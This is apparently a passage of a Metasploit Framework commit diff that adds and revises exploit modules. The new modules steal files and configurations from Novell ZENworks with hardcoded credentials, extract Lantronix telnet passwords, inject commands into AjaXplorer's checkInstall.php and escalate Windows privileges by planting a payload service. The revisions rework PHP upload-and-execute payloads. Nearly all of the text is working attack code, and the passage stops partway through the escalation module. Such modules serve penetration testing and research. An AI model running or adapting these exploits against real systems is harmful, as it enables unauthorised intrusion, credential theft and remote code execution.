OptInt.new('DEPTH', [false, 'Traversal depth if absolute is set to false', 4])
], self.class)
end
def run_host(ip)
# No point to continue if no filename is specified
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
print_error("#{rhost}:#{rport} - Please supply FILEPATH")
return
end
travs = "/\\.." * (datastore['DEPTH'] || 1)
travs << "/" unless datastore['FILEPATH'][0] == "\\" or datastore['FILEPATH'][0] == "/"
travs << datastore['FILEPATH']
print_status("#{rhost}:#{rport} - Sending request...")
res = send_request_cgi({
'uri' => travs,
'method' => 'GET',
})
if res and res.code == 200
contents = res.body
fname = File.basename(datastore['FILEPATH'])
path = store_loot(
'apache.activemq',
'application/octet-stream',
ip,
contents,
fname
)
print_status("#{rhost}:#{rport} - File saved in: #{path}")
else
print_error("#{rhost}:#{rport} - Failed to retrieve file")
return
end
end
end

View File

@ -0,0 +1,97 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell ZENworks Asset Management 7.5 Remote File Access',
'Description' => %q{
This module exploits a hardcoded user and password for the GetFile maintenance
task in Novell ZENworks Asset Management 7.5. The vulnerability exists in the Web
Console and can be triggered by sending a specially crafted request to the rtrlet component,
allowing a remote unauthenticated user to retrieve a maximum of 100_000_000 KB of
remote files. This module has been successfully tested on Novell ZENworks Asset
Management 7.5.
},
'License' => MSF_LICENSE,
'Author' =>
[
'juan vazquez' # Also the discoverer
],
'References' =>
[
[ 'CVE', '2012-4933' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/10/11/cve-2012-4933-novell-zenworks' ] ]
))
register_options(
[
Opt::RPORT(8080),
OptBool.new('ABSOLUTE', [ true, 'Use an absolute file path or directory traversal relative to the tomcat home', true ]),
OptString.new('FILEPATH', [true, 'The name of the file to download', 'C:\\WINDOWS\\system32\\drivers\\etc\\hosts']),
OptInt.new('DEPTH', [false, 'Traversal depth if absolute is set to false', 1])
], self.class)
end
def run_host(ip)
# No point to continue if no filename is specified
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
print_error("Please supply the name of the file you want to download")
return
end
post_data = "kb=100000000&"
if datastore['ABSOLUTE']
post_data << "file=#{datastore['FILEPATH']}&"
post_data << "absolute=yes&"
else
travs = "../" * (datastore['DEPTH'] || 1)
travs << "/" unless datastore['FILEPATH'][0] == "\\" or datastore['FILEPATH'][0] == "/"
travs << datastore['FILEPATH']
post_data << "file=#{travs}&"
post_data << "absolute=no&"
end
post_data << "maintenance=GetFile_password&username=Ivanhoe&password=Scott&send=Submit"
print_status("#{rhost}:#{rport} - Sending request...")
res = send_request_cgi({
'uri' => '/rtrlet/rtr',
'method' => 'POST',
'data' => post_data,
}, 5)
if res and res.code == 200 and res.body =~ /Last 100000000 kilobytes of/ and res.body =~ /File name/ and not res.body =~ /<br\/>File not found.<br\/>/
print_good("#{rhost}:#{rport} - File retrieved successfully!")
start_contents = res.body.index("<pre>") + 7
end_contents = res.body.rindex("</pre>") - 1
if start_contents.nil? or end_contents.nil?
print_error("#{rhost}:#{rport} - Error reading file contents")
return
end
contents = res.body[start_contents..end_contents]
fname = File.basename(datastore['FILEPATH'])
path = store_loot(
'novell.zenworks_asset_management',
'application/octet-stream',
ip,
contents,
fname
)
print_status("#{rhost}:#{rport} - File saved in: #{path}")
else
print_error("#{rhost}:#{rport} - Failed to retrieve file")
return
end
end
end

View File

@ -0,0 +1,74 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell ZENworks Asset Management 7.5 Configuration Access',
'Description' => %q{
This module exploits a hardcoded user and password for the GetConfig maintenance
task in Novell ZENworks Asset Management 7.5. The vulnerability exists in the Web
Console and can be triggered by sending a specially crafted request to the rtrlet component,
allowing a remote unauthenticated user to retrieve the configuration parameters of
Nozvell Zenworks Asset Managmment, including the database credentials in clear text.
This module has been successfully tested on Novell ZENworks Asset Management 7.5.
},
'License' => MSF_LICENSE,
'Author' =>
[
'juan vazquez' # Also the discoverer
],
'References' =>
[
[ 'CVE', '2012-4933' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/10/11/cve-2012-4933-novell-zenworks' ]
]
))
register_options(
[
Opt::RPORT(8080),
], self.class)
end
def run_host(ip)
post_data = "kb=&file=&absolute=&maintenance=GetConfigInfo_password&username=Ivanhoe&password=Scott&send=Submit"
print_status("#{rhost}:#{rport} - Sending request...")
res = send_request_cgi({
'uri' => '/rtrlet/rtr',
'method' => 'POST',
'data' => post_data,
}, 5)
if res and res.code == 200 and res.body =~ /<b>Rtrlet Servlet Configuration Parameters \(live\)<\/b><br\/>/
print_good("#{rhost}:#{rport} - File retrieved successfully!")
path = store_loot(
'novell.zenworks_asset_management.config',
'text/html',
ip,
res.body,
nil,
"Novell ZENworks Asset Management Configuration"
)
print_status("#{rhost}:#{rport} - File saved in: #{path}")
else
print_error("#{rhost}:#{rport} - Failed to retrieve configuration")
return
end
end
end

View File

@ -101,7 +101,8 @@ class Metasploit3 < Msf::Auxiliary
begin
smb_login()
rescue ::Rex::Proto::SMB::Exceptions::LoginError => e
rescue ::Rex::Proto::SMB::Exceptions::LoginError
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
end
begin
@ -135,7 +136,8 @@ class Metasploit3 < Msf::Auxiliary
begin
smb_login()
rescue ::Rex::Proto::SMB::Exceptions::LoginError => e
rescue ::Rex::Proto::SMB::Exceptions::LoginError
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
end
disconnect()
@ -154,7 +156,8 @@ class Metasploit3 < Msf::Auxiliary
connect()
begin
smb_login()
rescue ::Rex::Proto::SMB::Exceptions::LoginError => e
rescue ::Rex::Proto::SMB::Exceptions::LoginError
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
end
disconnect()
datastore['SMBDomain'] = orig_domain

View File

@ -0,0 +1,94 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Lantronix Telnet Password Recovery',
'Description' => %q{
This module retrieves the setup record from Lantronix serial-to-ethernet
devices via the config port (30718/udp, enabled by default) and extracts the
telnet password. It has been tested successfully on a Lantronix Device Server
with software version V5.8.0.1.
},
'Author' => 'jgor',
'License' => MSF_LICENSE
)
register_options(
[
Opt::CHOST,
Opt::RPORT(30718)
], self.class)
end
def run_host(ip)
setup_probe = "\x00\x00\x00\xF8"
password = nil
begin
# Create an unbound UDP socket if no CHOST is specified, otherwise
# create a UDP socket bound to CHOST (in order to avail of pivoting)
udp_sock = Rex::Socket::Udp.create( {
'LocalHost' => datastore['CHOST'] || nil,
'PeerHost' => ip,
'PeerPort' => datastore['RPORT'],
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self
}
})
udp_sock.put(setup_probe)
res = udp_sock.recvfrom(65535, 0.5) and res[1]
if res
password = parse_reply(res)
end
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused, ::IOError
print_error("Connection error")
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
ensure
udp_sock.close if udp_sock
end
if password
print_good("#{rhost} - Telnet password found: #{password.to_s}")
report_auth_info({
:host => rhost,
:port => 9999,
:sname => 'telnet',
:duplicate_ok => false,
:pass => password,
})
end
end
def parse_reply(pkt)
setup_record = pkt[0]
# If response is a setup record, extract password bytes 13-16
if setup_record[3].ord == 0xF9
return setup_record[12,4]
else
return nil
end
end
end

View File

@ -182,8 +182,8 @@ class Metasploit3 < Msf::Auxiliary
print_good("[#{cid}] Logging raw keystrokes to: #{@client_cache[cid][:path_raw]}")
end
::File.open( @client_cache[cid][:path_clean], "a") { |fd| fd.puts nice }
::File.open( @client_cache[cid][:path_raw], "a") { |fd| fd.write(real) }
::File.open( @client_cache[cid][:path_clean], "ab") { |fd| fd.puts nice }
::File.open( @client_cache[cid][:path_raw], "ab") { |fd| fd.write(real) }
if nice.length > 0
print_good("[#{cid}] Keys: #{nice}")

View File

@ -67,7 +67,7 @@ class Metasploit3 < Msf::Auxiliary
def on_request_uri(cli, request)
print_status("Request '#{request.uri}'...")
case request.method
when 'OPTIONS'
process_options(cli, request)
@ -101,7 +101,7 @@ class Metasploit3 < Msf::Auxiliary
end
exploit()
end
def process_options(cli, request)
print_status("OPTIONS #{request.uri}")
headers = {

View File

@ -93,7 +93,7 @@ class Metasploit3 < Msf::Auxiliary
# Handles the initial requests waiting for the browser to try NTLM auth
def on_request_uri(cli, request)
case request.method
when 'OPTIONS'
process_options(cli, request)
@ -136,7 +136,7 @@ class Metasploit3 < Msf::Auxiliary
parse_args()
exploit()
end
def process_options(cli, request)
print_status("OPTIONS #{request.uri}")
headers = {

View File

@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'References' =>
[
['OSVDB', '61284']
],
'DefaultOptions' =>
{
@ -48,6 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote
['Apple iOS', { 'accounts' => [ [ 'root', 'alpine' ], [ 'mobile', 'dottie' ]] } ],
],
'Privileged' => true,
'DisclosureDate' => "Jul 2 2007",
'DefaultTarget' => 0))
register_options(

View File

@ -6,11 +6,13 @@
##
require 'msf/core'
require 'msf/core/exploit/php_exe'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
def initialize(info={})
super(update_info(info,
@ -28,8 +30,8 @@ class Metasploit3 < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'Author' =>
[
'AutoSec Tools', #Initial discovery
'sinn3r' #Metasploit
'AutoSec Tools', # Initial discovery
'sinn3r' # Metasploit
],
'References' =>
[
@ -42,15 +44,12 @@ class Metasploit3 < Msf::Exploit::Remote
{
'BadChars' => "\x00",
},
'DefaultOptions' =>
{
'EXITFUNC' => "none"
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['V-CMS 1.0', {}],
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
],
'Privileged' => false,
'DisclosureDate' => "Nov 27 2011", #When the ticket was created
@ -75,15 +74,6 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
def on_new_session(client)
if client.type == "meterpreter"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
client.fs.file.rm(@payload_name)
else
client.shell_command_token("rm #{@payload_name}")
end
end
def exploit
peer = "#{rhost}:#{rport}"
@ -91,18 +81,13 @@ class Metasploit3 < Msf::Exploit::Remote
base << '/' if base[-1,1] != '/'
@payload_name = "#{rand_text_alpha(5)}.php"
p = %Q|<?php
#{payload.encoded}
?>
|
p = p.gsub(/^\t\t/, '')
p = get_write_exec_payload(:unlink_self=>true)
post_data = "------x\r\n"
post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"
post_data << "Content-Type: image/gif\r\n"
post_data << "\r\n"
post_data << p
post_data << p + "\r\n"
post_data << "------x--\r\n"
print_status("#{peer} Uploading payload: #{@payload_name}")
@ -133,4 +118,4 @@ class Metasploit3 < Msf::Exploit::Remote
handler
end
end
end

View File

@ -62,7 +62,7 @@ class Metasploit4 < Msf::Exploit::Local
],
'DefaultOptons' => { 'WfsDelay' => 2 },
'DefaultTarget' => 0,
'DisclosureDate' => "",
'DisclosureDate' => "Apr 16 2009",
}
))
register_options([

View File

@ -0,0 +1,111 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'AjaXplorer checkInstall.php Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in the
AjaXplorer 'checkInstall.php' script. All versions of AjaXplorer prior to
2.6 are vulnerable.
},
'Author' =>
[
'Julien Cayssol', #Credited according to SecurityFocus
'David Maciejak', #Metasploit module
'sinn3r' #Final touch on the Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '63552' ],
[ 'BID', '39334' ]
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'ConnectionType' => 'find',
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby python bash telnet'
}
},
'Platform' => ['unix', 'bsd', 'linux', 'osx', 'windows'],
'Arch' => ARCH_CMD,
'Targets' => [[ 'AjaXplorer 2.5.5 or older', { }]],
'DisclosureDate' => 'Apr 4 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to AjaXplorer', '/AjaXplorer-2.5.5/'])
], self.class)
end
def check
target_uri.path << '/' if target_uri.path[-1,1] != '/'
clue = Rex::Text::rand_text_alpha(rand(5) + 5)
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{target_uri.path}plugins/access.ssh/checkInstall.php",
'vars_get' => {
'destServer' => "||echo #{clue}"
}
})
# If the server doesn't return the default redirection, probably something is wrong
if res and res.code == 200 and res.body =~ /#{clue}/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
peer = "#{rhost}:#{rport}"
target_uri.path << '/' if target_uri.path[-1,1] != '/'
# Trigger the command execution bug
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{target_uri.path}plugins/access.ssh/checkInstall.php",
'vars_get' =>
{
'destServer' => "||#{payload.encoded}"
}
})
if res
print_status("#{peer} - The server returned: #{res.code} #{res.message}")
m = res.body.scan(/Received output:\s\[([^\]]+)\]/).flatten[0] || ''
if m.empty?
print_error("#{peer} - This server may not be vulnerable")
else
print_status("#{peer} - Command output from the server:")
print_line(m)
end
end
end
end
=begin
Repo:
http://sourceforge.net/projects/ajaxplorer/files/ajaxplorer/2.6/
=end

View File

@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::PhpEXE
def initialize(info={})
super(update_info(info,
@ -25,8 +25,8 @@ class Metasploit3 < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'Author' =>
[
'DaOne', #Vulnerability discovery
'sinn3r' #Metasploit
'DaOne', # Vulnerability discovery
'sinn3r' # Metasploit
],
'References' =>
[
@ -37,15 +37,11 @@ class Metasploit3 < Msf::Exploit::Remote
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Platform' => ['linux', 'php'],
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
],
'Privileged' => false,
'DisclosureDate' => "Sep 14 2012",
@ -71,41 +67,6 @@ class Metasploit3 < Msf::Exploit::Remote
end
def get_write_exec_payload(fname, data)
p = Rex::Text.encode_base64(generate_payload_exe)
php = %Q|
<?php
$f = fopen("#{fname}", "wb");
fwrite($f, base64_decode("#{p}"));
fclose($f);
exec("chmod 777 #{fname}");
exec("#{fname}");
?>
|
php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
return php
end
def on_new_session(cli)
if cli.type == "meterpreter"
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
end
@clean_files.each do |f|
print_status("#{@peer} - Removing: #{f}")
begin
if cli.type == 'meterpreter'
cli.fs.file.rm(f)
else
cli.shell_command_token("rm #{f}")
end
rescue ::Exception => e
print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
end
end
end
def upload_exec(base, php_fname, p)
data = Rex::MIME::Message.new
@ -148,17 +109,8 @@ class Metasploit3 < Msf::Exploit::Remote
base = File.dirname("#{target_uri.path}.")
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
@clean_files = [php_fname]
case target['Platform']
when 'php'
p = "<?php #{payload.encoded} ?>"
when 'linux'
bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
@clean_files << bin_name
bin = generate_payload_exe
p = get_write_exec_payload("/tmp/#{bin_name}", bin)
end
p = get_write_exec_payload(:unlink_self=>true)
upload_exec(base, php_fname, p)
end

View File

@ -6,12 +6,13 @@
##
require 'msf/core'
require 'msf/core/exploit/php_exe'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::PhpEXE
def initialize(info={})
super(update_info(info,
@ -26,8 +27,8 @@ class Metasploit3 < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'Author' =>
[
'Yakir Wizman <yakir.wizman[at]gmail.com>', #Original discovery
'sinn3r' #Metasploit
'Yakir Wizman <yakir.wizman[at]gmail.com>', # Original discovery
'sinn3r' # Metasploit
],
'References' =>
[
@ -36,11 +37,10 @@ class Metasploit3 < Msf::Exploit::Remote
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
# Goes in the query string, needs to fit in 8k. Leave a little
# exra for the other params and the path.
'Space' => 8000,
'DisableNops' => true
},
'Platform' => ['linux', 'php'],
'Targets' =>
@ -72,42 +72,6 @@ class Metasploit3 < Msf::Exploit::Remote
end
def get_write_exec_payload(fname, data)
p = Rex::Text.encode_base64(generate_payload_exe)
php = %Q|
<?php
$f = fopen("#{fname}", "wb");
fwrite($f, base64_decode("#{p}"));
fclose($f);
exec("chmod 777 #{fname}");
exec("#{fname}");
?>
|
php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
return php
end
def on_new_session(cli)
if cli.type == "meterpreter"
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
end
@clean_files.each do |f|
print_status("#{@peer} - Removing: #{f}")
begin
if cli.type == 'meterpreter'
cli.fs.file.rm(f)
else
cli.shell_command_token("rm #{f}")
end
rescue ::Exception => e
print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
end
end
end
def exploit
@peer = "#{rhost}:#{rport}"
@ -121,31 +85,16 @@ class Metasploit3 < Msf::Exploit::Remote
# Configure payload names
#
php_fname = Rex::Text.rand_text_alpha(5) + ".php"
bin_fname = Rex::Text.rand_text_alpha(5)
@clean_files = [php_fname]
#
# Generate a payload based on target
#
case target['Platform']
when 'php'
p = "<?php #{payload.encoded} ?>"
when 'linux'
bin_fname << '.bin'
@clean_files << bin_fname
bin = generate_payload_exe
p = get_write_exec_payload("/tmp/#{bin_fname}", bin)
end
#
# Upload payload
#
print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)")
print_status("#{@peer} - Uploading payload")
res = send_request_cgi({
'uri' => "#{base}/includes/savepage.php",
'vars_get' => {
'savepage' => php_fname,
'pagecontent' => p
'pagecontent' => get_write_exec_payload(:unlink_self=>true)
}
})
@ -158,7 +107,7 @@ class Metasploit3 < Msf::Exploit::Remote
# Run payload
#
print_status("#{@peer} - Requesting '#{php_fname}'")
send_request_raw({'uri' => "#{base}/pages/#{php_fname}"})
send_request_cgi({ 'uri' => "#{base}/pages/#{php_fname}" })
handler
end

View File

@ -188,14 +188,14 @@ class Metasploit3 < Msf::Exploit::Remote
def rand_spaces(num = datastore["URIENCODING"])
ret = ''
num.times {
ret << rand_space
}
num.times {
ret << rand_space
}
ret
end
def rand_space
datastore["URIENCODING"] > 0 ? ["%20","%09","+"][rand(3)] : "+"
datastore["URIENCODING"] > 0 ? ["%20","%09","+"][rand(3)] : "+"
end
def rand_dash

View File

@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'phpMyAdmin 3.5.2.2 server_sync.php Backdoor',
'Description' => %q{
This module exploits an arbitrary code execution backdoor
This module exploits an arbitrary code execution backdoor
placed into phpMyAdmin v3.5.2.2 thorugh a compromised SourceForge mirror.
},
'Author' => [ 'hdm' ],

View File

@ -6,12 +6,13 @@
##
require 'msf/core'
require 'msf/core/exploit/php_exe'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::PhpEXE
def initialize(info={})
super(update_info(info,
@ -26,8 +27,8 @@ class Metasploit3 < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'Author' =>
[
'dun', #Discovery, PoC
'sinn3r' #Metasploit
'dun', # Discovery, PoC
'sinn3r' # Metasploit
],
'References' =>
[
@ -38,10 +39,6 @@ class Metasploit3 < Msf::Exploit::Remote
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Platform' => ['linux', 'php'],
'Targets' =>
[
@ -76,46 +73,6 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
#
# Embed our binary in PHP, and then extract/execute it on the host.
#
def get_write_exec_payload(fname, data)
p = Rex::Text.encode_base64(generate_payload_exe)
php = %Q|
<?php
$f = fopen("#{fname}", "wb");
fwrite($f, base64_decode("#{p}"));
fclose($f);
exec("chmod 777 #{fname}");
exec("#{fname}");
?>
|
php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
return php
end
def on_new_session(cli)
if cli.type == "meterpreter"
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
end
@clean_files.each do |f|
print_status("#{@peer} - Removing: #{f}")
begin
if cli.type == 'meterpreter'
cli.fs.file.rm(f)
else
cli.shell_command_token("rm #{f}")
end
rescue ::Exception => e
print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
end
end
end
#
# login unfortunately is needed, because we need to make sure blogID is set, and the upload
# script (uploadContent.inc.php) doesn't actually do that, even though we can access it
@ -198,18 +155,8 @@ class Metasploit3 < Msf::Exploit::Remote
end
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
@clean_files = [php_fname]
case target['Platform']
when 'php'
p = "<?php #{payload.encoded} ?>"
when 'linux'
bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
@clean_files << bin_name
bin = generate_payload_exe
p = get_write_exec_payload("/tmp/#{bin_name}", bin)
end
p = get_write_exec_payload(:unlink_self=>true)
upload_exec(cookie, base, php_fname, p)
end
end

View File

@ -6,12 +6,13 @@
##
require 'msf/core'
require 'msf/core/exploit/php_exe'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::PhpEXE
def initialize(info={})
super(update_info(info,
@ -75,41 +76,6 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
def get_write_exec_payload(fname, data)
p = Rex::Text.encode_base64(generate_payload_exe)
php = %Q|
<?php
$f = fopen("#{fname}", "wb");
fwrite($f, base64_decode("#{p}"));
fclose($f);
exec("chmod 777 #{fname}");
exec("#{fname}");
?>
|
php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
return php
end
def on_new_session(cli)
if cli.type == "meterpreter"
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
end
@clean_files.each do |f|
print_debug("#{@peer} - Removing: #{f}")
begin
if cli.type == 'meterpreter'
cli.fs.file.rm(f)
else
cli.shell_command_token("rm #{f}")
end
print_debug("File removed: #{f}")
rescue ::Exception => e
print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
end
end
end
def upload_php(base, fname, php_payload, folder_name)
data = Rex::MIME::Message.new
data.add_part(folder_name, nil, nil, 'form-data; name="folder"')
@ -133,7 +99,6 @@ class Metasploit3 < Msf::Exploit::Remote
# Body example:
# 0 ./upload/test/test.txt-0001
uri = body.scan(/(\/.+$)/).flatten[0]
@clean_files << File.basename(uri)
res = send_request_raw({'uri' => "#{base}/tools#{uri}"})
@ -151,19 +116,14 @@ class Metasploit3 < Msf::Exploit::Remote
target_uri.path << '/' if target_uri.path[-1,1] != '/'
base = File.dirname("#{target_uri.path}.")
folder_name = Rex::Text.rand_text_alpha(4)
# Don't create a directory on the target since it complicates
# cleaning up after ourselves
#folder_name = Rex::Text.rand_text_alpha(4)
folder_name = ""
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php.1"
@clean_files = []
case target['Platform']
when 'php'
p = "<?php #{payload.encoded} ?>"
when 'linux'
bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
@clean_files << bin_name
bin = generate_payload_exe
p = get_write_exec_payload("/tmp/#{bin_name}", bin)
end
p = get_write_exec_payload(:unlink_self=>true)
print_status("#{@peer} - Uploading PHP payload (#{p.length.to_s} bytes)...")
res = upload_php(base, php_fname, p, folder_name)
@ -177,3 +137,17 @@ class Metasploit3 < Msf::Exploit::Remote
exec_php(base, res)
end
end
=begin
Relevant code from tools/upload_file.php
$folder = rtrim( './upload/' . $_POST['folder'] , '/');
mkdir($folder, 0777, true);
$seq = str_pad((int) $_POST["part"],4,"0",STR_PAD_LEFT);
move_uploaded_file($_FILES["file"]["tmp_name"],
$folder . '/' . $_FILES["file"]["name"] . '-' . $seq );
Note that it stores the uploaded files in tools/upload/ not upload/
=end

View File

@ -128,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote
# check for non vulnerable targets
if agent !~ /NT 5\.1/ or agent !~ /NT 6\.1/ and agent !~ /Firefox\/3\.6\.16/
vprint_error("Target not supported: #{agent}")
print_error("Target not supported: #{agent}")
send_not_found(cli)
return
end

View File

@ -0,0 +1,199 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/post/windows/services'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::Windows::WindowsServices
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Escalate Service Permissions Local Privilege Escalation',
'Description' => %q{
This module attempts to exploit existing administrative privileges to obtain
a SYSTEM session. If directly creating a service fails, this module will inspect
existing services to look for insecure file or configuration permissions that may
be hijacked. It will then attempt to restart the replaced service to run the
payload. This will result in a new session when this succeeds. If the module is
able to modify the service but does not have permission to start and stop the
affected service, the attacker must wait for the system to restart before a
session will be created.
},
'License' => MSF_LICENSE,
'Author' => [ 'scriptjunkie' ],
'Arch' => [ ARCH_X86 ],
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'WfsDelay' => '5'
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate'=> "Oct 15, 2012"
))
register_options([
OptBool.new("AGGRESSIVE", [ false, "Exploit as many services as possible (dangerous)", false ])
])
end
def exploit
# randomize the filename
filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
# randomize the exe name
tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
raw = payload.encoded
exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw)
sysdir = session.fs.file.expand_path("%SystemRoot%")
tmpdir = session.fs.file.expand_path("%TEMP%")
print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..")
begin
#
# Upload the payload to the filesystem
#
tempexe = tmpdir + "\\" + tempexe_name
fd = session.fs.file.new(tempexe, "wb")
fd.write(exe)
fd.close
rescue ::Exception => e
print_error("Error uploading file #{filename}: #{e.class} #{e}")
return
end
#attempt to make new service
#SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config
print_status("Trying to add a new service...")
adv = session.railgun.advapi32
manag = adv.OpenSCManagerA(nil,nil,0x10013)
if(manag["return"] != 0)
# SC_MANAGER_CREATE_SERVICE = 0x0002
# SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010
# SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0
newservice = adv.CreateServiceA(manag["return"],Rex::Text.rand_text_alpha((rand(8)+6)),
"",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil)
if(newservice["return"] != 0)
print_status("Created service... #{newservice["return"]}")
ret = adv.StartServiceA(newservice["return"], 0, nil)
print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.")
adv.DeleteService(newservice["return"])
adv.CloseServiceHandle(newservice["return"])
if datastore['AGGRESSIVE'] != true
adv.CloseServiceHandle(manag["return"])
return
end
else
print_error("Uhoh. service creation failed, but we should have the permissions. :-(")
end
else
print_status("No privs to create a service...")
manag = adv.OpenSCManagerA(nil,nil,1)
if(manag["return"] == 0)
print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.")
end
end
print_status("Trying to find weak permissions in existing services..")
#Search through list of services to find weak permissions, whether file or config
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
#for each service
